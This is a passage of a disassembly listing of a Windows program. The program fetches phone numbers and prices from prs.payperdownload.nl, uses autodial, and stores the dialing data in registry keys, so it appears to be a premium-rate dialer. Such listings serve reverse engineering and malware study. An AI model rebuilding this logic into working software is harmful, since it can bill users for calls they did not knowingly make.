		push	offset aXx	; "XX"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_406DF1


loc_406CDA:				; CODE XREF: sub_4066F0+5CDj
		mov	eax, [esp+920h+var_8F8]
		mov	ecx, eax
		mov	edx, ecx
		shr	ecx, 2
		lea	esi, [esp+920h+var_8B4]
		lea	edi, [esp+920h+var_820]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+920h+var_8F4]
		mov	[esp+920h+var_8D8], ecx
		mov	edx, ecx
		shr	ecx, 2
		lea	esi, [esp+920h+var_860]
		lea	edi, [esp+920h+var_88C]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edx, [esp+920h+var_8FC]
		mov	ecx, edx
		mov	[esp+920h+var_8DC], ebx
		mov	ebx, ecx
		shr	ecx, 2
		lea	esi, [esp+920h+var_8A0]
		lea	edi, [esp+920h+var_8B4]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ebx, [esp+920h+var_8E8]
		mov	[esp+920h+var_8F8], edx
		mov	byte ptr [esp+edx+920h+var_8B4], 0
		mov	ecx, ebp
		mov	edx, ecx
		shr	ecx, 2
		lea	esi, [esp+920h+var_840]
		lea	edi, [esp+920h+var_860]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, ebx
		mov	edx, ecx
		shr	ecx, 2
		lea	esi, [esp+920h+var_8F0]
		lea	edi, [esp+920h+var_8E4]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	edx, ecx
		shr	ecx, 2
		lea	esi, [esp+920h+var_820]
		lea	edi, [esp+920h+var_8A0]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+920h+var_8F4], ebp
		mov	[esp+ebp+920h+var_860],	0
		mov	ebp, [esp+920h+var_8D8]
		mov	ecx, ebp
		mov	[esp+920h+var_8FC], eax
		mov	[esp+eax+920h+var_8A0],	0
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [esp+920h+var_88C]
		lea	edi, [esp+920h+var_840]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+920h+var_8DC]
		mov	byte ptr [esp+ebx+920h+var_8E4], 0
		mov	[esp+ebp+920h+var_840],	0
		mov	byte ptr [esp+ecx+920h+var_8F0], 0


loc_406DF1:				; CODE XREF: sub_4066F0+5A6j
					; sub_4066F0+5B2j ...
		mov	esi, [esp+920h+var_8F8]
		xor	eax, eax
		cmp	esi, eax
		jle	loc_406F85
		mov	edi, [esp+920h+var_8C4]
		mov	edx, [edi+20h]
		push	71h
		push	edx
		lea	ecx, [esp+928h+var_88C]
		mov	[esp+928h+var_88C], eax
		mov	[esp+928h+var_888], eax
		mov	[esp+928h+var_884], eax
		mov	[esp+928h+var_880], al
		mov	[esp+928h+var_862], al
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+924h+var_88C]
		call	sub_402310
		mov	eax, [edi+20h]
		push	7Ah
		push	eax
		lea	ecx, [esp+928h+var_88C]
		call	sub_40A1E0
		lea	ecx, [esp+920h+var_8C4]
		push	ecx
		lea	edx, [esp+924h+var_900]
		push	edx
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+93Ch+var_88C]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_406F22
		mov	ecx, [esp+918h+var_8F8]
		push	esi
		mov	esi, ds:dword_40F010
		lea	eax, [esp+91Ch+var_8AC]
		push	eax
		push	1
		push	0
		push	offset aPhonenumber1 ; "phonenumber1"
		push	ecx
		call	esi	; RegSetValueExA
		mov	edx, [esp+918h+var_8F4]
		mov	ecx, [esp+918h+var_8F8]
		push	edx
		lea	eax, [esp+91Ch+var_898]
		push	eax
		push	1
		push	0
		push	offset aPhonenumber2 ; "phonenumber2"
		push	ecx
		call	esi	; RegSetValueExA
		mov	edx, [esp+918h+var_8EC]
		mov	ecx, [esp+918h+var_8F8]
		push	edx
		lea	eax, [esp+91Ch+var_858]
		push	eax
		push	1
		push	0
		push	offset aPrice1	; "price1"
		push	ecx
		call	esi	; RegSetValueExA
		mov	eax, [esp+918h+var_8F8]
		push	ebp
		lea	edx, [esp+91Ch+var_838]
		push	edx
		push	1
		push	0
		push	offset aPrice2	; "price2"
		push	eax
		call	esi	; RegSetValueExA
		mov	edx, [esp+918h+var_8F8]
		push	ebx
		lea	ecx, [esp+91Ch+var_8DC]
		push	ecx
		push	1
		push	0
		push	offset aCc	; "cc"
		push	edx
		call	esi	; RegSetValueExA
		mov	eax, [esp+918h+var_8F8]
		push	eax
		call	ds:dword_40F020	; RegCloseKey


loc_406F22:				; CODE XREF: sub_4066F0+79Cj
		lea	ecx, [esp+918h+var_8AC]
		push	ecx
		lea	esi, [edi+24h]
		push	1
		mov	ecx, esi
		call	sub_408EE0
		lea	edx, [esp+918h+var_898]
		push	edx
		push	2
		mov	ecx, esi
		call	sub_408EE0
		lea	ecx, [esp+918h+var_884]
		xor	esi, esi
		call	sub_401D10
		mov	eax, [esp+918h+var_8B4]
		push	eax
		call	ds:dword_40F240	; InternetCloseHandle
		mov	ecx, [esp+91Ch+var_8B4]
		push	ecx
		call	ds:dword_40F240	; InternetCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, esi
		pop	esi
		add	esp, 910h
		retn
; ---------------------------------------------------------------------------


loc_406F75:				; CODE XREF: sub_4066F0+183j
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 0FFFFFFFDh
		pop	esi
		add	esp, 910h
		retn
; ---------------------------------------------------------------------------


loc_406F85:				; CODE XREF: sub_4066F0+709j
		mov	esi, 0FFFFFFFDh


loc_406F8A:				; CODE XREF: sub_4066F0+ACj
					; sub_4066F0+B8j
		mov	eax, [esp+920h+var_8BC]
		push	eax
		call	ds:dword_40F240	; InternetCloseHandle
		mov	ecx, [esp+920h+var_8B8]
		push	ecx
		call	ds:dword_40F240	; InternetCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, esi
		pop	esi
		add	esp, 910h
		retn
; ---------------------------------------------------------------------------


loc_406FAD:				; CODE XREF: sub_4066F0+86j
		mov	ecx, [esp+91Ch+var_8B4]
		push	ecx
		mov	esi, 0FFFFFFFEh
		call	ds:dword_40F240	; InternetCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, esi
		pop	esi
		add	esp, 910h
		retn
; ---------------------------------------------------------------------------


loc_406FCA:				; CODE XREF: sub_4066F0+28j
					; sub_4066F0+45j ...
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 910h
		retn
sub_4066F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_406FE0(char	*Str1)

sub_406FE0	proc near		; CODE XREF: sub_408350+30Bp
					; sub_408350+317p

var_C89		= byte ptr -0C89h
var_C88		= byte ptr -0C88h
var_C87		= byte ptr -0C87h
var_C86		= byte ptr -0C86h
var_C85		= byte ptr -0C85h
var_C84		= dword	ptr -0C84h
var_C7E		= byte ptr -0C7Eh
var_C7D		= byte ptr -0C7Dh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= byte ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_C4C		= dword	ptr -0C4Ch
var_C48		= dword	ptr -0C48h
var_C44		= dword	ptr -0C44h
var_C40		= byte ptr -0C40h
var_C22		= byte ptr -0C22h
var_C20		= byte ptr -0C20h
var_C1C		= byte ptr -0C1Ch
var_C00		= byte ptr -0C00h
Str2		= byte ptr -800h
var_7FC		= byte ptr -7FCh
Str1		= dword	ptr  4

		sub	esp, 0C8Ch
		push	ebp
		push	esi
		mov	esi, ds:dword_40F250
		push	edi
		xor	ebp, ebp
		push	ebp
		push	1
		mov	edi, ecx
		push	offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
		mov	[esp+0CA4h+var_C78], edi
		call	esi	; InternetCheckConnectionA
		test	eax, eax
		jnz	short loc_40702B
		mov	al, [edi+58h]
		test	al, al
		jnz	loc_40752E
		push	ebp
		push	2
		call	ds:dword_40F24C	; InternetAutodial
		push	ebp
		push	1
		push	offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
		call	esi	; InternetCheckConnectionA
		test	eax, eax
		jz	loc_40752E


loc_40702B:				; CODE XREF: sub_406FE0+23j
		push	ebx
		push	ebp
		push	ebp
		push	ebp
		push	ebp
		push	offset aDel	; "del"
		call	ds:dword_40F248	; InternetOpenA
		mov	ebx, eax
		cmp	ebx, ebp
		mov	[esp+0C9Ch+var_C6C], ebx
		jnz	short loc_407055
		pop	ebx
		pop	edi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0C8Ch
		retn	4
; ---------------------------------------------------------------------------


loc_407055:				; CODE XREF: sub_406FE0+63j
		mov	ecx, 10h
		mov	esi, offset aHttpPrs_payp_1 ; "http://prs.payperdownload.nl/radius/dia"...
		lea	edi, [esp+0C9Ch+var_C00]
		lea	eax, [esp+0C9Ch+var_C00]
		rep movsd
		lea	edx, [eax+1]


loc_407072:				; CODE XREF: sub_406FE0+97j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_407072
		mov	ecx, [esp+0C9Ch+Str1]
		sub	eax, edx
		lea	edx, [esp+eax+0C9Ch+var_C00]
		sub	edx, ecx
		jmp	short loc_407090
; ---------------------------------------------------------------------------
		align 10h


loc_407090:				; CODE XREF: sub_406FE0+ABj
					; sub_406FE0+B8j
		mov	al, [ecx]
		mov	[edx+ecx], al
		inc	ecx
		test	al, al
		jnz	short loc_407090
		push	ebp
		push	ebp
		push	ebp
		push	ebp
		lea	eax, [esp+0CACh+var_C00]
		push	eax
		push	ebx
		call	ds:dword_40F244	; InternetOpenUrlA
		mov	esi, eax
		cmp	esi, ebp
		mov	[esp+0C98h+var_C6C], esi
		jz	loc_407513
		lea	ecx, [esp+0C98h+var_C70]
		push	ecx
		push	800h
		lea	edx, [esp+0CA0h+var_7FC]
		push	edx
		push	esi
		mov	edi, 0FFFFFFFDh
		call	ds:dword_40F254	; InternetReadFile
		test	eax, eax
		jz	loc_4074F6
		mov	eax, [esp+0C9Ch+var_C74]
		cmp	eax, ebp
		jz	loc_4074F6
		xor	bl, bl
		xor	edx, edx
		xor	esi, esi
		cmp	eax, ebp
		mov	[esp+eax+0C9Ch+Str2], 0
		mov	[esp+0C9Ch+var_C87], 0
		mov	[esp+0C9Ch+var_C88], 0
		mov	[esp+0C9Ch+var_C86], 0
		mov	[esp+0C9Ch+var_C7E], 0
		mov	[esp+0C9Ch+var_C7D], 0
		mov	[esp+0C9Ch+var_C89], 0
		mov	[esp+0C9Ch+var_C85], bl
		mov	[esp+0C9Ch+var_C84], edx
		mov	[esp+0C9Ch+var_C64], ebp
		mov	[esp+0C9Ch+var_C7C], ebp
		mov	[esp+0C9Ch+var_C68], ebp
		jbe	loc_4072E0
		mov	ebp, 1
		lea	edi, [esp+0C9Ch+Str2]


loc_407141:				; CODE XREF: sub_406FE0+2FAj
		mov	al, [esp+0C9Ch+var_C85]
		test	al, al
		jnz	loc_4072E0
		movsx	eax, byte ptr [edi]
		sub	eax, 22h
		jz	loc_40728E
		sub	eax, 1Ah
		jz	loc_407287
		sub	eax, 2
		jz	loc_40725F
		cmp	esi, 7D0h
		ja	loc_40742D
		mov	al, [esp+0C9Ch+var_C86]
		test	al, al
		jz	short loc_4071EB
		push	0Bh		; MaxCount
		push	edi		; Str2
		push	offset Str1	; "callrecords"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4071A6
		add	esi, 0Ah
		add	edi, 0Ah
		mov	[esp+0C9Ch+var_C87], 1
		add	ebp, 0Ah
		jmp	loc_4072CD
; ---------------------------------------------------------------------------


loc_4071A6:				; CODE XREF: sub_406FE0+1B1j
		push	0Ch		; MaxCount
		push	edi		; Str2
		push	offset aCallrecords_0 ;	"/callrecords"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4071C4
		mov	[esp+0C9Ch+var_C85], 1
		jmp	loc_4072CD
; ---------------------------------------------------------------------------


loc_4071C4:				; CODE XREF: sub_406FE0+1D8j
		push	4		; MaxCount
		push	edi		; Str2
		push	offset aCall	; "call"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4071EB
		add	esi, 3
		add	edi, 3
		mov	[esp+0C9Ch+var_C88], 1
		add	ebp, 3
		jmp	loc_4072CD
; ---------------------------------------------------------------------------


loc_4071EB:				; CODE XREF: sub_406FE0+19Dj
					; sub_406FE0+1F6j
		mov	al, [esp+0C9Ch+var_C88]
		test	al, al
		jz	loc_4072CD
		push	0Ah		; MaxCount
		push	edi		; Str2
		push	offset aRealnumber ; "realnumber"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40722C
		mov	[esp+0C9Ch+var_C89], al
		mov	al, [esp+0C9Ch+var_C7E]
		test	al, al
		jnz	short loc_40721C
		mov	[esp+0C9Ch+var_C89], 1


loc_40721C:				; CODE XREF: sub_406FE0+235j
		xor	bl, bl
		add	esi, 9
		add	edi, 9
		add	ebp, 9
		jmp	loc_4072CD
; ---------------------------------------------------------------------------


loc_40722C:				; CODE XREF: sub_406FE0+229j
		push	5		; MaxCount
		push	edi		; Str2
		push	offset aPrice	; "price"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_4072CD
		mov	[esp+0C9Ch+var_C89], al
		mov	al, [esp+0C9Ch+var_C7D]
		xor	bl, bl
		test	al, al
		jnz	short loc_407254
		mov	bl, 1


loc_407254:				; CODE XREF: sub_406FE0+270j
		add	esi, 4
		add	edi, 4
		add	ebp, 4
		jmp	short loc_4072CD
; ---------------------------------------------------------------------------


loc_40725F:				; CODE XREF: sub_406FE0+185j
		mov	al, [esp+0C9Ch+var_C87]
		test	al, al
		jz	short loc_407273
		mov	[esp+0C9Ch+var_C87], 0
		mov	[esp+0C9Ch+var_C86], 0
		jmp	short loc_4072CD
; ---------------------------------------------------------------------------


loc_407273:				; CODE XREF: sub_406FE0+285j
		mov	al, [esp+0C9Ch+var_C88]
		test	al, al
		jz	short loc_407280
		mov	[esp+0C9Ch+var_C88], 0


loc_407280:				; CODE XREF: sub_406FE0+299j
		mov	[esp+0C9Ch+var_C86], 0
		jmp	short loc_4072CD
; ---------------------------------------------------------------------------


loc_407287:				; CODE XREF: sub_406FE0+17Cj
		mov	[esp+0C9Ch+var_C86], 1
		jmp	short loc_4072CD
; ---------------------------------------------------------------------------


loc_40728E:				; CODE XREF: sub_406FE0+173j
		mov	al, [esp+0C9Ch+var_C89]
		test	al, al
		jz	short loc_4072B0
		test	edx, edx
		jle	short loc_4072AA
		mov	[esp+0C9Ch+var_C89], 0
		mov	[esp+0C9Ch+var_C7E], 1
		mov	[esp+0C9Ch+var_C64], esi
		jmp	short loc_4072CD
; ---------------------------------------------------------------------------


loc_4072AA:				; CODE XREF: sub_406FE0+2B8j
		mov	[esp+0C9Ch+var_C84], ebp
		jmp	short loc_4072CD
; ---------------------------------------------------------------------------


loc_4072B0:				; CODE XREF: sub_406FE0+2B4j
		test	bl, bl
		jz	short loc_4072CD
		mov	eax, [esp+0C9Ch+var_C7C]
		test	eax, eax
		jle	short loc_4072C9
		xor	bl, bl
		mov	[esp+0C9Ch+var_C7D], 1
		mov	[esp+0C9Ch+var_C68], esi
		jmp	short loc_4072CD
; ---------------------------------------------------------------------------


loc_4072C9:				; CODE XREF: sub_406FE0+2DAj
		mov	[esp+0C9Ch+var_C7C], ebp


loc_4072CD:				; CODE XREF: sub_406FE0+1C1j
					; sub_406FE0+1DFj ...
		mov	eax, [esp+0C9Ch+var_C74]
		mov	edx, [esp+0C9Ch+var_C84]
		inc	esi
		inc	edi
		inc	ebp
		cmp	esi, eax
		jb	loc_407141


loc_4072E0:				; CODE XREF: sub_406FE0+14Fj
					; sub_406FE0+167j
		mov	ebx, [esp+0C9Ch+var_C64]
		sub	ebx, edx
		cmp	ebx, 13h
		mov	ecx, 13h
		jg	short loc_4072F2
		mov	ecx, ebx


loc_4072F2:				; CODE XREF: sub_406FE0+30Ej
		mov	ebp, [esp+0C9Ch+var_C68]
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [esp+edx+0C9Ch+Str2]
		lea	edi, [esp+0C9Ch+var_C60]
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+0C9Ch+var_C7C]
		and	ecx, 3
		sub	ebp, eax
		cmp	ebp, 27h
		rep movsb
		mov	[esp+ebx+0C9Ch+var_C60], 0
		mov	ecx, 27h
		jg	short loc_407326
		mov	ecx, ebp


loc_407326:				; CODE XREF: sub_406FE0+342j
		mov	edx, ecx
		shr	ecx, 2
		lea	esi, [esp+eax+0C9Ch+Str2]
		lea	edi, [esp+0C9Ch+var_C20]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	esi, esi
		cmp	ebx, esi
		mov	[esp+ebp+0C9Ch+var_C20], 0
		jle	loc_4074E9
		mov	edi, [esp+0C9Ch+var_C78]
		mov	eax, [edi+20h]
		push	71h
		push	eax
		lea	ecx, [esp+0CA4h+var_C4C]
		mov	[esp+0CA4h+var_C4C], esi
		mov	[esp+0CA4h+var_C48], esi
		mov	[esp+0CA4h+var_C44], esi
		mov	[esp+0CA4h+var_C40], 0
		mov	[esp+0CA4h+var_C22], 0
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+0CA0h+var_C4C]
		call	sub_402310
		mov	ecx, [edi+20h]
		push	7Ah
		push	ecx
		lea	ecx, [esp+0CA4h+var_C4C]
		call	sub_40A1E0
		mov	edx, [esp+0C9Ch+Str1]
		push	2		; MaxCount
		push	offset aXx_0	; "xx"
		push	edx		; Str1
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40743F
		lea	eax, [esp+0C9Ch+var_C78]
		push	eax
		lea	ecx, [esp+0CA0h+var_C84]
		push	ecx
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		lea	ecx, [esp+0CB8h+var_C4C]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_407421
		mov	eax, [esp+18h]
		push	ebx
		lea	edx, [esp+0C9Ch+var_C5C]
		push	edx
		push	1
		push	esi
		mov	esi, ds:dword_40F010
		push	offset aPhonenumber2 ; "phonenumber2"
		push	eax
		call	esi	; RegSetValueExA
		mov	edx, [esp+18h]
		push	ebp
		lea	ecx, [esp+0C9Ch+var_C1C]
		push	ecx
		push	1
		push	0
		push	offset aPrice2	; "price2"
		push	edx
		call	esi	; RegSetValueExA
		mov	eax, [esp+18h]
		push	eax
		call	ds:dword_40F020	; RegCloseKey


loc_407421:				; CODE XREF: sub_406FE0+400j
		lea	ecx, [esp+0C98h+var_C5C]
		push	ecx
		push	2
		jmp	loc_4074B1
; ---------------------------------------------------------------------------


loc_40742D:				; CODE XREF: sub_406FE0+191j
		pop	ebx
		pop	edi
		pop	esi
		mov	eax, 0FFFFFFFDh
		pop	ebp
		add	esp, 0C8Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40743F:				; CODE XREF: sub_406FE0+3D0j
		lea	edx, [esp+0C9Ch+var_C78]
		push	edx
		lea	eax, [esp+0CA0h+var_C84]
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		lea	ecx, [esp+0CB8h+var_C4C]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_4074AA
		mov	edx, [esp+18h]
		push	ebx
		lea	ecx, [esp+0C9Ch+var_C5C]
		push	ecx
		push	1
		push	esi
		mov	esi, ds:dword_40F010
		push	offset aPhonenumber1 ; "phonenumber1"
		push	edx
		call	esi	; RegSetValueExA
		mov	ecx, [esp+18h]
		push	ebp
		lea	eax, [esp+0C9Ch+var_C1C]
		push	eax
		push	1
		push	0
		push	offset aPrice1	; "price1"
		push	ecx
		call	esi	; RegSetValueExA
		mov	edx, [esp+18h]
		push	edx
		call	ds:dword_40F020	; RegCloseKey


loc_4074AA:				; CODE XREF: sub_406FE0+489j
		lea	eax, [esp+0C98h+var_C5C]
		push	eax
		push	1


loc_4074B1:				; CODE XREF: sub_406FE0+448j
		lea	ecx, [edi+24h]
		call	sub_408EE0
		lea	ecx, [esp+0C98h+var_C48]
		xor	edi, edi
		call	sub_401D10
		mov	esi, [esp+0C98h+var_C6C]
		mov	ebx, [esp+0C98h+var_C68]
		push	esi
		call	ds:dword_40F240	; InternetCloseHandle
		push	ebx
		call	ds:dword_40F240	; InternetCloseHandle
		pop	ebx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0C8Ch
		retn	4
; ---------------------------------------------------------------------------


loc_4074E9:				; CODE XREF: sub_406FE0+368j
		mov	esi, [esp+0C9Ch+var_C70]
		mov	ebx, [esp+0C9Ch+var_C6C]
		mov	edi, 0FFFFFFFDh


loc_4074F6:				; CODE XREF: sub_406FE0+FBj
					; sub_406FE0+107j
		push	esi
		call	ds:dword_40F240	; InternetCloseHandle
		push	ebx
		call	ds:dword_40F240	; InternetCloseHandle
		pop	ebx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0C8Ch
		retn	4
; ---------------------------------------------------------------------------


loc_407513:				; CODE XREF: sub_406FE0+D5j
		push	ebx
		mov	edi, 0FFFFFFFEh
		call	ds:dword_40F240	; InternetCloseHandle
		pop	ebx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0C8Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40752E:				; CODE XREF: sub_406FE0+2Aj
					; sub_406FE0+45j
		pop	edi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0C8Ch
		retn	4
sub_406FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_407AF0+64p

var_33C		= dword	ptr -33Ch
Count		= dword	ptr -338h
var_334		= byte ptr -334h
var_330		= dword	ptr -330h
Memory		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= byte ptr -324h
var_306		= byte ptr -306h
var_304		= byte ptr -304h
var_300		= byte ptr -300h
Dest		= byte ptr -200h
Source		= byte ptr -100h

		sub	esp, 33Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	eax, [esp+34Ch+var_33C]
		push	eax
		push	20019h
		mov	edi, ecx
		mov	ecx, off_4120C0
		xor	ebx, ebx
		push	ebx
		push	ecx
		push	80000001h
		call	ds:dword_40F00C	; RegOpenKeyExA
		test	eax, eax
		mov	ebp, ds:dword_40F020
		jnz	loc_40765C
		mov	ecx, off_4120C4
		mov	esi, ds:dword_40F01C
		lea	edx, [esp+34Ch+Count]
		push	edx
		mov	edx, [esp+350h+var_33C]
		push	ebx
		lea	eax, [esp+354h+var_334]
		push	eax
		push	ebx
		push	ecx
		push	edx
		call	esi	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4075E7
		lea	eax, [esp+34Ch+Count]
		push	eax
		mov	eax, off_4120C4
		lea	ecx, [esp+350h+Source]
		push	ecx
		mov	ecx, [esp+354h+var_33C]
		lea	edx, [esp+354h+var_334]
		push	edx
		push	ebx
		push	eax
		push	ecx
		call	esi	; RegQueryValueExA
		mov	edx, [esp+34Ch+Count]
		push	edx		; Count
		lea	eax, [esp+350h+Source]
		push	eax		; Source
		lea	ecx, [esp+354h+Dest]
		push	ecx		; Dest
		call	_strncpy
		mov	edx, [esp+358h+Count]
		add	esp, 0Ch
		mov	[esp+edx+34Ch+Dest], bl
		jmp	short loc_4075EE
; ---------------------------------------------------------------------------


loc_4075E7:				; CODE XREF: sub_407540+5Bj
		mov	[esp+34Ch+Dest], bl


loc_4075EE:				; CODE XREF: sub_407540+A5j
		mov	edx, off_4120C8
		lea	eax, [esp+34Ch+Count]
		push	eax
		mov	eax, [esp+350h+var_33C]
		push	ebx
		lea	ecx, [esp+354h+var_334]
		push	ecx
		push	ebx
		push	edx
		push	eax
		call	esi	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_407651
		lea	ecx, [esp+34Ch+Count]
		push	ecx
		mov	ecx, off_4120C8
		lea	edx, [esp+350h+Source]
		push	edx
		mov	edx, [esp+354h+var_33C]
		lea	eax, [esp+354h+var_334]
		push	eax
		push	ebx
		push	ecx
		push	edx
		call	esi	; RegQueryValueExA
		mov	eax, [esp+34Ch+Count]
		push	eax		; Count
		lea	ecx, [esp+350h+Source]
		push	ecx		; Source
		lea	edx, [esp+354h+var_300]
		push	edx		; Dest
		call	_strncpy
		mov	eax, [esp+358h+Count]
		add	esp, 0Ch
		mov	[esp+eax+34Ch+var_300],	bl
		jmp	short loc_407655
; ---------------------------------------------------------------------------


loc_407651:				; CODE XREF: sub_407540+CAj
		mov	[esp+34Ch+var_300], bl


loc_407655:				; CODE XREF: sub_407540+10Fj
		mov	ecx, [esp+34Ch+var_33C]
		push	ecx
		call	ebp	; RegCloseKey


loc_40765C:				; CODE XREF: sub_407540+33j
		mov	edx, [edi+20h]
		push	71h
		push	edx
		lea	ecx, [esp+354h+var_330]
		mov	[esp+354h+var_330], ebx
		mov	[esp+354h+Memory], ebx
		mov	[esp+354h+var_328], ebx
		mov	[esp+354h+var_324], bl
		mov	[esp+354h+var_306], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+350h+var_330]
		call	sub_402310
		mov	eax, [edi+20h]
		push	7Ah
		push	eax
		lea	ecx, [esp+354h+var_330]
		call	sub_40A1E0
		lea	ecx, [esp+34Ch+var_304]
		push	ecx
		lea	edx, [esp+350h+var_33C]
		push	edx
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [esp+368h+var_330]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40771C
		mov	esi, ds:dword_40F084
		lea	eax, [esp+34Ch+Dest]
		push	eax
		call	esi	; lstrlen
		mov	edx, off_4120C4
		mov	edi, ds:dword_40F010
		push	eax
		mov	eax, [esp+350h+var_33C]
		lea	ecx, [esp+350h+Dest]
		push	ecx
		push	1
		push	ebx
		push	edx
		push	eax
		call	edi	; RegSetValueExA
		lea	ecx, [esp+34Ch+var_300]
		push	ecx
		call	esi	; lstrlen
		mov	ecx, [esp+34Ch+var_33C]
		push	eax
		mov	eax, off_4120C8
		lea	edx, [esp+350h+var_300]
		push	edx
		push	1
		push	ebx
		push	eax
		push	ecx
		call	edi	; RegSetValueExA
		mov	edx, [esp+34Ch+var_33C]
		push	edx
		call	ebp	; RegCloseKey


loc_40771C:				; CODE XREF: sub_407540+186j
		mov	eax, [esp+34Ch+Memory]
		cmp	eax, ebx
		jz	short loc_407731
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+34Ch+Memory], ebx


loc_407731:				; CODE XREF: sub_407540+1E2j
		mov	eax, [esp+34Ch+var_330]
		push	eax
		call	ds:dword_40F194
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 33Ch
		retn
sub_407540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407750	proc near		; CODE XREF: sub_407AA0+3Ap

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_2		= byte ptr -2
arg_0		= dword	ptr  4

		sub	esp, 34h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		xor	ebx, ebx
		push	71h
		push	eax
		lea	ecx, [esp+44h+var_2C]
		mov	[esp+44h+var_2C], ebx
		mov	[esp+44h+Memory], ebx
		mov	[esp+44h+var_24], ebx
		mov	byte ptr [esp+44h+var_20], bl
		mov	[esp+44h+var_2], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+40h+var_2C]
		call	sub_402310
		mov	ecx, [esi+20h]
		push	7Ah
		push	ecx
		lea	ecx, [esp+44h+var_2C]
		call	sub_40A1E0
		lea	edx, [esp+3Ch+var_30]
		push	edx
		lea	eax, [esp+40h+var_34]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [esp+58h+var_2C]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_4077EA
		mov	ecx, [esp+3Ch+arg_0]
		mov	edx, [esp+3Ch+var_34]
		push	0Ah
		push	ecx
		push	1
		push	ebx
		push	offset aPrefix	; "Prefix"
		push	edx
		call	ds:dword_40F010	; RegSetValueExA
		mov	eax, [esp+3Ch+var_34]
		push	eax
		call	ds:dword_40F020	; RegCloseKey


loc_4077EA:				; CODE XREF: sub_407750+73j
		mov	eax, [esp+3Ch+Memory]
		cmp	eax, ebx
		jz	short loc_4077FF
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+3Ch+Memory], ebx


loc_4077FF:				; CODE XREF: sub_407750+A0j
